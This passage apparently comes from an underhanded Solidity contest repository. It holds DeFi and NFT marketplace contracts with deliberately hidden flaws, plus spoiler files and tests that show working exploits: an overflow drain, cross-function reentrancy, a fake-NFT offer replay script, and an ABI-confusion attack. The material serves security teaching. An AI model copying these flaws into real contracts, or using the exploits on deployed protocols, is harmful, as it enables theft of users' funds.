require(x <= type(uint64).max);
y = uint64(x);
}
function safeCastTo32(uint256 x) internal pure returns (uint32 y) {
require(x <= type(uint32).max);
y = uint32(x);
}
function safeCastTo8(uint256 x) internal pure returns (uint8 y) {
require(x <= type(uint8).max);
y = uint8(x);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/SafeTransferLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../tokens/ERC20.sol";
/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)
/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)
/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.
/// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller.
library SafeTransferLib {
/*///////////////////////////////////////////////////////////////
ETH OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferETH(address to, uint256 amount) internal {
bool callStatus;
assembly {
// Transfer the ETH and store if it succeeded or not.
callStatus := call(gas(), to, amount, 0, 0, 0, 0)
}
require(callStatus, "ETH_TRANSFER_FAILED");
}
/*///////////////////////////////////////////////////////////////
ERC20 OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument.
mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 100 because the calldata length is 4 + 32 * 3.
callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED");
}
function safeTransfer(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED");
}
function safeApprove(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED");
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {
assembly {
// Get how many bytes the call returned.
let returnDataSize := returndatasize()
// If the call reverted:
if iszero(callStatus) {
// Copy the revert message into memory.
returndatacopy(0, 0, returnDataSize)
// Revert with the same message.
revert(0, returnDataSize)
}
switch returnDataSize
case 32 {
// Copy the return data into memory.
returndatacopy(0, 0, returnDataSize)
// Set success to whether it returned true.
success := iszero(iszero(mload(0)))
}
case 0 {
// There was no return data.
success := 1
}
default {
// It returned some malformed output.
success := 0
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/src/MatchMaking.sol
================================================
// SPDX-License-Identifier: GPL-3
pragma solidity >=0.8.6;
import "solmate/tokens/ERC20.sol";
uint constant TH = 10**9;
enum Kind {
Buy,
Sell
}
struct Order {
Kind kind;
// Price is defined as number of token2 per 10^9 token1
// to allow some granularity in the swaps without using
// complicated fixed point stuff.
// price = 10^9 means the ratio is 1:1
// price = 1 means 1 token2 = 10^9 token1
// price = 10^10 means 10 token2 = 1 token1
uint price;
uint qtt;
address who;
}
function lt(Order storage a, Order storage b) view returns (bool) {
return a.price < b.price;
}
function gt(Order storage a, Order storage b) view returns (bool) {
return a.price > b.price;
}
function min(uint a, uint b) pure returns (uint) {
return a < b ? a : b;
}
contract MatchMaking {
// Sell token1, buy token2
ERC20 immutable token1;
ERC20 immutable token2;
// Keep two lists:
// Sell list, sorted dec, smaller price matches first.
// Buy list, sorted inc, bigger price matches first.
Order[] public oSell;
Order[] public oBuy;
constructor(ERC20 t1, ERC20 t2) {
token1 = t1;
token2 = t2;
}
bool lock;
modifier noReentrancy {
require(!lock);
lock = true;
_;
lock = false;
}
/** PUBLIC FUNCTIONS */
function matchAll() public noReentrancy {
while (matchOne()) {}
}
function push(Order memory o) public noReentrancy {
require(isValid(o.kind, o.price, o.qtt));
if (o.kind == Kind.Sell) {
// User gives token1 to receive token2.
require(token1.transferFrom(msg.sender, address(this), o.qtt));
insertSell(o);
} else {
// User gives token2 to receive token1.
require(token2.transferFrom(msg.sender, address(this), o.qtt));
insertBuy(o);
}
}
// Allow the user to cancel one sell or one buy order at a time
// so their tokens aren't stuck forever.
function cancelOneSellOrder() public noReentrancy {
// Adjust data structures before returning funds.
uint q = cancelOneOrder(oSell);
returnFunds(token1, msg.sender, q);
}
function cancelOneBuyOrder() public noReentrancy {
// Adjust data structures before returning funds.
uint q = cancelOneOrder(oBuy);
returnFunds(token2, msg.sender, q);
}
/************************************************/
/* MUTATING STATE INTERNAL FUNCTIONS */
function matchOne() internal returns (bool) {
if (oSell.length == 0 || oBuy.length == 0)
return false;
Order storage s = oSell[oSell.length - 1];
Order storage b = oBuy[oBuy.length - 1];
// Only match if price is the same.
if (s.price != b.price)
return false;
// Even if one order would receive more than its counterpart offers,
// we limit the amount of this order to the quantity that the other provides.
uint sGets = min(receives(s.kind, s.price, s.qtt), b.qtt);
uint bGets = min(receives(b.kind, b.price, b.qtt), s.qtt);
// Used up tokens.
s.qtt -= bGets;
b.qtt -= sGets;
require(token2.transfer(s.who, sGets));
require(token1.transfer(b.who, bGets));
// The orders may have become invalid now if they don't
// have enough tokens to swap into at least 1 of the other.
// In that case they get cancelled and the remaining funds
// are returned.
if (!isValid(s.kind, s.price, s.qtt)) {
oSell.pop();
returnFunds(token1, s.who, s.qtt);
}
if (!isValid(b.kind, b.price, b.qtt)) {
oBuy.pop();
returnFunds(token2, b.who, b.qtt);
}
return true;
}
function insertSell(Order memory coke) internal {
// oSell is sorted dec, so our compare function is gt
// for the backwards search.
update(oSell, coke, gt);
}
function insertBuy(Order memory coke) internal {
// oSell is sorted inc, so our compare function is lt
// for the backwards search.
update(oBuy, coke, lt);
}
function update(
Order[] storage can,
Order memory coke,
function (Order storage, Order storage) internal view returns (bool) compare
) internal {
// Create new element.
can.push(coke);
// Swap backwards until correct place is reached.
for (uint i = can.length - 1; i > 0 && compare(can[i], can[i - 1]); --i) {
Order storage temp = can[i - 1];
can[i - 1] = can[i];
can[i] = temp;
}
}
function cancelOneOrder(Order[] storage can) internal returns (uint) {
uint qtt = 0;
uint from = 0;
bool found = false;
for (uint i = 0; i < can.length; ++i)
if (can[i].who == msg.sender) {
from = i;
found = true;
break;
}
require(found);
qtt = can[from].qtt;
// Shift left all the orders that are staying.
for (uint i = from; i < can.length - 1; ++i)
can[i] = can[i + 1];
can.pop();
return qtt;
}
function returnFunds(ERC20 t, address who, uint q) internal {
if (q > 0)
require(t.transfer(who, q));
}
/**************************/
/* PURE INTERNAL FUNCTIONS */
function receives(Kind kind, uint price, uint qtt) internal pure returns (uint) {
if (kind == Kind.Sell)
return (qtt * price) / TH;
return (qtt * TH) / price;
}
// Ideally we'd pass an `Order` arg, but we need it for both
// memory and storage so to avoid duplication just pass the members.
function isValid(Kind kind, uint price, uint qtt) internal pure returns (bool) {
return receives(kind, price, qtt) > 0;
}
/**************************/
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/src/test/MatchMaking.t.sol
================================================
// SPDX-License-Identifier: GPL-3
pragma solidity >=0.8.6;
import "ds-test/test.sol";
import "solmate/tokens/ERC20.sol";
import "../MatchMaking.sol";
contract MockToken is ERC20 {
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
uint _amt
) ERC20(_name, _symbol, _decimals) {
_mint(msg.sender, _amt);
}
}
// Mock user for the hack test.
contract User {
ERC20 token1;
ERC20 token2;
MatchMaking mm;
constructor(ERC20 t1, ERC20 t2, MatchMaking m) {
token1 = t1;
token2 = t2;
mm = m;
}
function push(Order memory o) public {
if (o.kind == Kind.Sell)
token1.approve(address(mm), o.qtt);
else
token2.approve(address(mm), o.qtt);
mm.push(o);
}
function cancelOneSellOrder() public {
mm.cancelOneSellOrder();
}
function cancelOneBuyOrder() public {
mm.cancelOneBuyOrder();
}
}
contract MatchMakingTest is DSTest {
ERC20 token1;
ERC20 token2;
MatchMaking mm;
event O(Order order);
function setUp() public {
token1 = new MockToken("A", "A", 18, type(uint).max);
token2 = new MockToken("B", "B", 18, type(uint).max);
mm = new MatchMaking(token1, token2);
}
function test_match_simple() public {
uint amt = 100;
uint price = 10**9;
token1.approve(address(mm), 10**12);
token2.approve(address(mm), 10**12);
mm.push(Order(Kind.Sell, price, amt, address(this)));
mm.push(Order(Kind.Buy, price, amt, address(this)));
mm.matchAll();
}
function test_match_simple_diff_ratio() public {
uint amt = 100;
uint price = 1; // 10^9 token1 = 1 token2
token1.approve(address(mm), 10**12);
token2.approve(address(mm), 10**12);
mm.push(Order(Kind.Sell, price, 10**10+1, address(this)));
mm.push(Order(Kind.Buy, price, 1, address(this)));
mm.matchAll();
}
function test_match_diff_qtt() public {
uint amt = 100;
uint price = 10**9;
token1.approve(address(mm), 10**12);
token2.approve(address(mm), 10**12);
mm.push(Order(Kind.Sell, price, amt, address(this)));
mm.push(Order(Kind.Sell, price, 1, address(this)));
mm.push(Order(Kind.Buy, price, amt / 2, address(this)));
mm.push(Order(Kind.Buy, price, amt / 2, address(this)));
mm.push(Order(Kind.Buy, price, amt / 2, address(this)));
mm.matchAll();
}
function test_sell() public {
uint[] memory prices = new uint[](4);
prices[0] = 100;
prices[1] = 1; // goes last
prices[2] = 100_000; // goes first
prices[3] = 10; // goes in between
uint amt = 10**9;
token1.approve(address(mm), amt * prices.length);
for (uint i = 0; i < prices.length; ++i)
mm.push(Order(Kind.Sell, prices[i], amt, address(this)));
for (uint i = 0; i < prices.length; ++i) {
(Kind kind, uint price, uint qtt, address who) = mm.oSell(i);
emit O(Order(kind, price, qtt, who));
}
}
function test_buy() public {
uint[] memory prices = new uint[](4);
prices[0] = 10;
prices[1] = 100_000; // goes last
prices[2] = 1; // goes first
prices[3] = 100; // goes in between
uint amt = 100;
token2.approve(address(mm), amt * prices.length);
for (uint i = 0; i < prices.length; ++i)
mm.push(Order(Kind.Buy, prices[i], amt, address(this)));
for (uint i = 0; i < prices.length; ++i) {
(Kind kind, uint price, uint qtt, address who) = mm.oBuy(i);
emit O(Order(kind, price, qtt, who));
}
}
function test_cancel() public {
uint[] memory prices = new uint[](4);
prices[0] = 10;
prices[1] = 100_000;
prices[2] = 1;
prices[3] = 100;
uint amt = 10**9;
uint bal = token1.balanceOf(address(this));
token1.approve(address(mm), amt * prices.length);
for (uint i = 0; i < prices.length; ++i)
mm.push(Order(Kind.Sell, prices[i], amt, address(this)));
assertEq(token1.balanceOf(address(this)), bal - amt * prices.length);
for (uint i = 0; i < prices.length; ++i)
mm.cancelOneSellOrder();
assertEq(token1.balanceOf(address(this)), bal);
}
function test_hack() public {
User user = new User(token1, token2, mm);
User hacker = new User(token1, token2, mm);
token1.transfer(address(user), 1_000_000);
token1.transfer(address(hacker), 1_000);
token2.transfer(address(user), 1_000_000);
// user is selling at 1:1
// sends 1000 token1 tokens to MM
user.push(Order(Kind.Sell, 10**9, 1_000, address(user)));
assertEq(token1.balanceOf(address(hacker)), 1_000);
// hacker overwrites user's order
hacker.push(Order(Kind.Sell, 10**10, 1_000, address(hacker)));
// hacker cancels the orders and collects their own
// plus user's token1 tokens
hacker.cancelOneSellOrder();
hacker.cancelOneSellOrder();
// RUGPULL
assertEq(token1.balanceOf(address(hacker)), 2_000);
}
}
================================================
FILE: 2022/submissions_2022/submission4_WilliamBowling/DoubleDex.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/**
* @dev Required functions for interacting with the tokens
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
interface LoanReceiver {
function loan(uint256 tokenOneAmount, uint256 tokenTwoAmount) external;
}
/**
* @dev A simple DEX where `tokenOne` is always twice as much as `tokenTwo`
*/
contract DoubleDex {
event Deposit(address user, uint256 tokenOneAmount, uint256 tokenTwoAmount);
event Withdraw(address user, uint256 tokenOneAmount, uint256 tokenTwoAmount);
event Swap(address user, int256 tokenOneAmount, int256 tokenTwoAmount);
mapping(address => uint256) tokenOneBalances;
mapping(address => uint256) tokenTwoBalances;
address public tokenOne;
address public tokenTwo;
bool private locked = false;
modifier lock() {
require(!locked);
locked = true;
_;
locked = false;
}
constructor(address _tokenOne, address _tokenTwo) {
require(_tokenOne != address(0));
require(_tokenTwo != address(0));
tokenOne = _tokenOne;
tokenTwo = _tokenTwo;
}
/**
* @dev Deposit tokens.
*
* Any ratio of tokens can be deposited, the ratio is only enforces when withdrawing
*/
function depositTokens(uint256 tokenOneAmount, uint256 tokenTwoAmount) external {
tokenOneBalances[msg.sender] += tokenOneAmount;
tokenTwoBalances[msg.sender] += tokenTwoAmount;
emit Deposit(msg.sender, tokenOneAmount, tokenTwoAmount);
require(IERC20(tokenOne).transferFrom(msg.sender, address(this), tokenOneAmount), 'Transfer failed');
require(IERC20(tokenTwo).transferFrom(msg.sender, address(this), tokenTwoAmount), 'Transfer failed');
}
/**
* @dev Withdraw tokens.
*
* Requires that after the withdrawal the balance of `tokenTwo` is 2x the balance of `tokenOne`
*/
function withdrawTokens(uint256 tokenOneAmount, uint256 tokenTwoAmount) external {
require(IERC20(tokenOne).balanceOf(address(this)) >= tokenOneAmount, 'Not enough liquidity');
require(IERC20(tokenTwo).balanceOf(address(this)) >= tokenTwoAmount, 'Not enough liquidity');
require(tokenOneBalances[msg.sender] >= tokenOneAmount, 'Not enough balance');
require(tokenTwoBalances[msg.sender] >= tokenTwoAmount, 'Not enough balance');
require(willMaintainRatio(tokenOneAmount, tokenTwoAmount), 'Must maintain the 2-1 ratio of tokens');
tokenOneBalances[msg.sender] -= tokenOneAmount;
tokenTwoBalances[msg.sender] -= tokenTwoAmount;
emit Withdraw(msg.sender, tokenOneAmount, tokenTwoAmount);
require(IERC20(tokenOne).transfer(msg.sender, tokenOneAmount), 'Transfer failed');
require(IERC20(tokenTwo).transfer(msg.sender, tokenTwoAmount), 'Transfer failed');
}
/**
* @dev The fixed exchange rate between tokenOne and tokenTwo, which is always double.
*/
function tokenRate(uint256 amount) public pure returns (uint256) {
return amount << 1;
}
/**
* @dev Check to see if the deposit or withdrawal will keep the correct ratio of token
*/
function willMaintainRatio(uint256 tokenOneAmount, uint256 tokenTwoAmount) public view returns (bool) {
uint256 tokenOneBalance = IERC20(tokenOne).balanceOf(address(this));
uint256 tokenTwoBalance = IERC20(tokenTwo).balanceOf(address(this));
return tokenRate(tokenOneBalance - tokenOneAmount) == tokenTwoBalance - tokenTwoAmount;
}
/**
* @dev Swap `tokenOneAmount` of `tokenOne` for 2x the amount of `tokenTwo`
*/
function swapTokenOneForTokenTwo(uint256 tokenOneAmount) external {
require(tokenOneAmount > 0, 'Amount must be > 0');
uint256 tokenTwoAmount = tokenRate(tokenOneAmount);
require(tokenOneBalances[msg.sender] >= tokenOneAmount, 'Not enough balance');
tokenOneBalances[msg.sender] -= tokenOneAmount;
tokenTwoBalances[msg.sender] += tokenTwoAmount;
emit Swap(msg.sender, -int256(tokenOneAmount), int256(tokenTwoAmount));
}
/**
* @dev Swap 2x `tokenOneAmount` of `tokenTwo` for `tokenOneAmount` of `tokenTwo`
*/
function swapTokenTwoForTokenOne(uint256 tokenOneAmount) external {
require(tokenOneAmount > 0, 'Amount must be > 0');
uint256 tokenTwoAmount = tokenRate(tokenOneAmount);
require(tokenTwoBalances[msg.sender] >= tokenTwoAmount, 'Not enough balance');
tokenTwoBalances[msg.sender] -= tokenTwoAmount;
tokenOneBalances[msg.sender] += tokenOneAmount;
emit Swap(msg.sender, int256(tokenOneAmount), -int256(tokenTwoAmount));
}
/**
* @dev Allow anyone to take out a flash loan for a 0.3% fee
*/
function flashLoan(
uint256 tokenOneAmount,
uint256 tokenTwoAmount,
address to
) external lock {
require(to != address(0));
uint256 preTokenOneBalance = IERC20(tokenOne).balanceOf(address(this));
uint256 preTokenTwoBalance = IERC20(tokenTwo).balanceOf(address(this));
require(preTokenOneBalance >= tokenOneAmount, 'Not enough liquidity');
require(preTokenTwoBalance >= tokenOneAmount, 'Not enough liquidity');
uint256 tokenOneFee = (tokenOneAmount * 3) / 1000;
uint256 tokenTwoFee = (tokenTwoAmount * 3) / 1000;
require(IERC20(tokenOne).transfer(msg.sender, tokenOneAmount), 'Transfer failed');
require(IERC20(tokenTwo).transfer(msg.sender, tokenTwoAmount), 'Transfer failed');
LoanReceiver(to).loan(tokenOneAmount, tokenTwoAmount);
require(IERC20(tokenOne).balanceOf(address(this)) >= preTokenOneBalance + tokenOneFee, 'Loan not repaid');
require(IERC20(tokenTwo).balanceOf(address(this)) >= preTokenTwoBalance + tokenTwoFee, 'Loan not repaid');
}
}
================================================
FILE: 2022/submissions_2022/submission4_WilliamBowling/readme.md
================================================
# DoubleDex
Exchanges are always so complicated these days, let's go back to basics. DoubleDex pegs the ratio between the tokens on withdrawal so that there are always twice as many of one token vs the other, keeping a nice and simple exchange rate of 2-1.
================================================
FILE: 2022/submissions_2022/submission4_WilliamBowling/spoiler.md
================================================
# DoubleDex
The token rate is calculated using `amount << 1` to double the amount. Since this operation has no overflow check, providing a very large `amount` can result in a value smaller than `amount` being returned. If a user with no balance calls `doubleDex.swapTokenTwoForTokenOne(0x8000000000000000000000000000000000000000000000000000000000000000)` then `tokenTwoAmount` will end up being `0` and the users `tokenOne` balance will be set to `0x8000000000000000000000000000000000000000000000000000000000000000` allowing them to then drain all of the tokens.
================================================
FILE: 2022/submissions_2022/submission5_ArthurHsiao/NFTExchange.sol
================================================
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/interfaces/IERC721.sol";
contract NFTExchange {
enum ItemStatus { Private, OnSale }
struct Item {
address tokenAddress;
uint256 tokenId;
address payable seller;
uint256 price; // denominated in ETH, unit is wei
ItemStatus status;
}
// mapping from tokenAddress to tokenId to item
mapping (address => mapping (uint256 => Item)) items;
event List(address indexed tokenAddress, uint256 tokenId, uint256 price);
event Buy(address indexed tokenAddress, uint256 tokenId, address seller, address buyer);
function listItem(address tokenAddress, uint256 tokenId, uint256 price) public {
IERC721 nft = IERC721(tokenAddress);
require(nft.ownerOf(tokenId) == msg.sender, "only owner can list item");
require(nft.getApproved(tokenId) == address(this) || nft.isApprovedForAll(msg.sender, address(this)), "owner has to approve exchange");
Item storage item = items[tokenAddress][tokenId];
item.tokenAddress = tokenAddress;
item.tokenId = tokenId;
item.seller = payable(msg.sender);
item.price = price;
item.status = ItemStatus.OnSale;
emit List(tokenAddress, tokenId, price);
}
function buyItem(address tokenAddress, uint256 tokenId) public payable {
updateItemStatus(tokenAddress, tokenId);
Item storage item = items[tokenAddress][tokenId];
require(item.tokenAddress != address(0), "item does not exist");
require(item.status == ItemStatus.OnSale, "item is not on sale");
require(msg.value >= item.price, "buyer has to pay more than price");
IERC721 nft = IERC721(tokenAddress);
item.status = ItemStatus.Private;
nft.transferFrom(item.seller, msg.sender, item.tokenId);
item.seller.transfer(msg.value);
emit Buy(tokenAddress, tokenId, item.seller, msg.sender);
}
function updateItemStatus(address tokenAddress, uint256 tokenId) public {
Item storage item = items[tokenAddress][tokenId];
if (item.tokenAddress != address(0)) {
IERC721 nft = IERC721(tokenAddress);
if (nft.getApproved(tokenId) != address(this) && !nft.isApprovedForAll(msg.sender, address(this))) {
item.status = ItemStatus.Private;
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission5_ArthurHsiao/README.md
================================================
# Decentralized NFT Exchange
This contract allows sellers to list their NFTs for sale and allows buyers to pay Ether for NFT. It is simple, flexible and decentralized.
Benefits for sellers:
* Sellers don't have to escrow their NFTs into the contract for listing. They just need approve the contract to transfer. So their NFTs are still safe in their wallet before selling them.
* Sellers have to set the price denominated in Wei for listing. And they can change the price at any time.
* Sellers can reset the approval if they want to unlist their NFTs.
Benefits for buyers:
* Buyers don't have to wrap Ether. They can pay native Ether for any NFTs on sale.
* Buyers don't have to escrow Ether to trade NFTs. They receive what they want immediately when they pay.
Oops! There is a flaw on this contract. The flaw is described in [spoiler.txt](./spoiler.txt)
================================================
FILE: 2022/submissions_2022/submission5_ArthurHsiao/spoiler.txt
================================================
Spoiler for Decentralized NFT Exchange
Hacker can steal all NFTs on sale without paying any Ether using `Cross-functions Reentrance`.
Here is the attack process:
1. Hacker can buy a NFT with a malicious contract that contains `onERC721Received` and `receive` functions.
2. At the moment hacker buy a NFT, exchange will tranfer it to malicious contract, and then call `onERC721Received` on malicious contract.
3. What `onERC721Received` on malicious contract does is to relist the NFT. This action on exchage contract overwrites the seller of this NFT to malicious contract.
4. As a result of overwrites changes of seller, the money hacker pays will return back to malicious contract.
5. After money return back to malicious contract, `receive` function will run. And hacker can repeat step 2 ~ 5 to steal the next NFT.
Because both `buyItem` and `listItem` functions on exchange contract update storage state of item, hacker is able to manipulate it by cross-functions reentrance. Even developers follow the Checks-Effects-Interactions pattern, this flaw is still hard to find in large codebase. Solidity developers should aware every functions where storage variables are used and make sure they don't affect each others.
================================================
FILE: 2022/submissions_2022/submission6_KurtWillis/README.md
================================================
# NFT Order Book
`contracts/NFTOrderBook.sol` implements a light-weight orderbook-style NFT market.
This market-place does not support ERC20 payments and relies on cold, hard eth.
The bid value must be transferred upfront (refunds/cancellations tba in V2).
Before an offer can be accepted, a corresponding bid (identified by a `bytes32` hash) must exist.
Offers can be placed and accepted in batches for your convenience.
Helper functions are prefixed with `get`.
This market-place knows the chain is a scary place with hackers lurking everywhere.
A 20% tax is the minimum compensation for taking on this risk.
## Goal
The goal is to drain a big portion of the market-place's funds.
A template file for the setup is provided in `test/orderbook.js`.
================================================
FILE: 2022/submissions_2022/submission6_KurtWillis/SPOILER.md
================================================
# SPOILER
A simple dummy NFT that won't change ownership is needed.
```js
contract AttackNFT {
address owner;
constructor() {
owner = msg.sender;
}
function ownerOf(uint256) external view returns (address) {
return owner;
}
function transferFrom(
address from,
address to,
uint256 tokenId
) external {
//
}
}
```
Then, an order can be placed for this NFT.
```js
[attacker, accomplice] = await ethers.getSigners();
const nft = await (await ethers.getContractFactory('AttackNFT', attacker)).deploy();
await orderbook.connect(accomplice).placeOffers([nft.address], [0], [ethers.utils.parseEther('1.25')], {
value: ethers.utils.parseEther('1.25'),
});
const hash = await orderbook.getOfferHash(accomplice.address, nft.address, 0);
await orderbook.connect(attacker).acceptOffers(Array(51).fill(hash));
```
This order can be accepted multiple times, because there is a mismatch between
the orders stored in memory and the ones on-chain. In this case, the order value `price`
is being used to "block" future (profitable) fillings of the order. If this were directly
read from the contract state, this vulnerability would not be possible.
My experience so far mainly comes from looking at NFT contracts.
In particular, I've seen many staking contracts fall prey to this attack.
Often, there exists a `claimRewards(uint[] calldata tokenIds)` function
that first calculates the rewards in a loop and then afterwards, in another,
`lastClaimed[tokenId] = block.timestamp` is set.
Here, also, because of unexpected user-input, the rewards can be claimed multiple times.
This challenge combined this idea with the slight twist, that a non-standard NFT contract
must be used in order to bypass the ownership-check.
================================================
FILE: 2022/submissions_2022/submission6_KurtWillis/contracts/NFTOrderBook.sol
================================================
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
contract NFTOrderBook {
struct Offer {
bytes32 hash;
address bidder;
IERC721 collection;
uint256 tokenId;
uint256 price;
}
mapping(bytes32 => Offer) _offers;
constructor() payable {
require(msg.value == 50 ether);
}
/* ------------- Exchange ------------ */
function placeOffers(
IERC721[] calldata collections,
uint256[] calldata tokenIds,
uint256[] calldata prices
) public payable {
uint256 totalValue;
for (uint256 i; i < collections.length; i++) {
bytes32 hash = getOfferHash(msg.sender, collections[i], tokenIds[i]);
_offers[hash] = Offer(hash, msg.sender, collections[i], tokenIds[i], prices[i]);
totalValue += prices[i];
}
require(msg.value >= totalValue, 'Ser, the money?');
}
function acceptOffers(bytes32[] memory hashes) public {
Offer[] memory offers = getOffers(hashes);
for (uint256 i; i < offers.length; i++) {
Offer memory offer = offers[i];
require(msg.sender != offer.bidder, 'No tricks, ser.');
require(offer.collection.ownerOf(offer.tokenId) == msg.sender, 'Ser, the nft please?');
offer.collection.transferFrom(msg.sender, offer.bidder, offer.tokenId);
payable(msg.sender).transfer((offer.price * 8) / 10); // 20% tax
delete _offers[offer.hash];
}
}
/* ------------- View ------------ */
function getOfferHash(
address bidder,
IERC721 collection,
uint256 tokenId
) public pure returns (bytes32) {
return keccak256(abi.encode(bidder, collection, tokenId));
}
function getOffers(bytes32[] memory hashes) public view returns (Offer[] memory offers) {
offers = new Offer[](hashes.length);
for (uint256 i; i < hashes.length; i++) offers[i] = _offers[hashes[i]];
}
}
================================================
FILE: 2022/submissions_2022/submission7_RobertoCano/EXPLOIT/SPOILER.md
================================================
# Intro
Well, so you looked at the code and saw that the team has this nice kind of multi-transaction `deposit()` function. They get the serialized parameters from the user, chek if it is an ETH pool or a token pool, and then use the correct selector for the contract. However...what would happen if the wrong contract is used? The selector must match, otherwise Solidity will reject the call. But, what would happen if the wrong encoded parameters are given? Sure, Solidity would check that the type of the parameters is correct, right? Or at least that the amount of serialized data is correct, right? Right??
# The Hack
You can check `VeryCoolAMMExploit.sol` for an example of the exploit contract (just missing the withdraw function).
- The first thing for the hack to work is to fetch the `VeryCoolPeryphery.defaultETHPool()` and add it back as a token pool with `VeryCoolPeryphery`.addTokenPool()
- The function `VeryCoolPeryphery.\_getSelector()` checks first if the given pool is an ETH pool and returns the correct selector for the `deposit()` function. However the `VeryCoolPeryphery.\_getCallData()` first checks if the pool is a Token pool. Because the ETH pool is now registered as both types of pool, this causes the contract to call the `VeryCoolPoolETH` contract with the right selector but the wrong serialized data
- This is particularly dangerous because the call data for `VeryCoolETHPool.deposit()` is shorter than the call data for `VeryCoolTokenPool.deposit()`. Even though VeryCoolPeryphery injects the correct `msg.sender` and the correct third-party staking pool, the attacker can actually change the timestamp and the third-party staking pool to whatever she wants
- There is one limitation though: the attacker can only control 128 bits of the third-party staker address, so she must find the right salt for a `Create2` call that generates an address which first 32-bits are set to zero. This is difficult, but definitely not impossible. Below this section you can find an example salt that generates the right address for `VeryCoolAMMExploit.sol`
- The attacker then deploys the attacking contract on the generated address. This contract calls `VeryCoolPeryphery.deposit()` with the `defaultETHPool` and the two `uint128` serialized parameters. The first `uint128` will be the timestamp for the withdrawal time, that will be set to `bock.timestamp+1` to be able to withdraw on the very next second. The second `uint128` is the address of the deployed exploit contract (that only has 128-bits). This causes `VeryCoolPeryphery` to call into the `VeryCoolETHPool.deposit()` with the user-given timestamp and the address of the exploiting contract
- The `VeryCoolETHPool` adds the amount of ETH received to the balance of the exploiting contract, and marks the funds locked until the given timestamp (which will be the very next second). Then it calls back into the given staker, which is of course the exploiting contract, thus giving back all the ETH to the attacker. The exploiting contract could rinse and repeat before running out of gas for a reentrancy attack.
- Finally, withdraw much more than given (actually, infinite more times than given ;) ) for profit
# 128-bits Address Generation
In order for this hack to work, the hacker should be able to generate an address with only 128-bits, being the first 32 bits zero. This relies on a brute-force attack in which you have a probability of 1/(2^32) of finding such an address. Even though it is a small probability, you can run millions of hashes per second, and you can find such an address in just a few hours on a regular laptop.
For this entry I wrote a small C program to generate Create2 addresses where the first 32-bits are zero. It took around 30 minutes to find one, although testing other set of data it could take around 2 hours. I show the result here as an example. Deployer address is Metamorphic's factory contract on Ethereum Mainnet. It could be directly used to deploy the exploit and hack the protocol:
## Deployer
[Metamorphic Factory Mainnet contract](https://github.com/0age/metamorphic)
0x00000000e82eb0431756271F0d00CFB143685e7B
## Bytecode
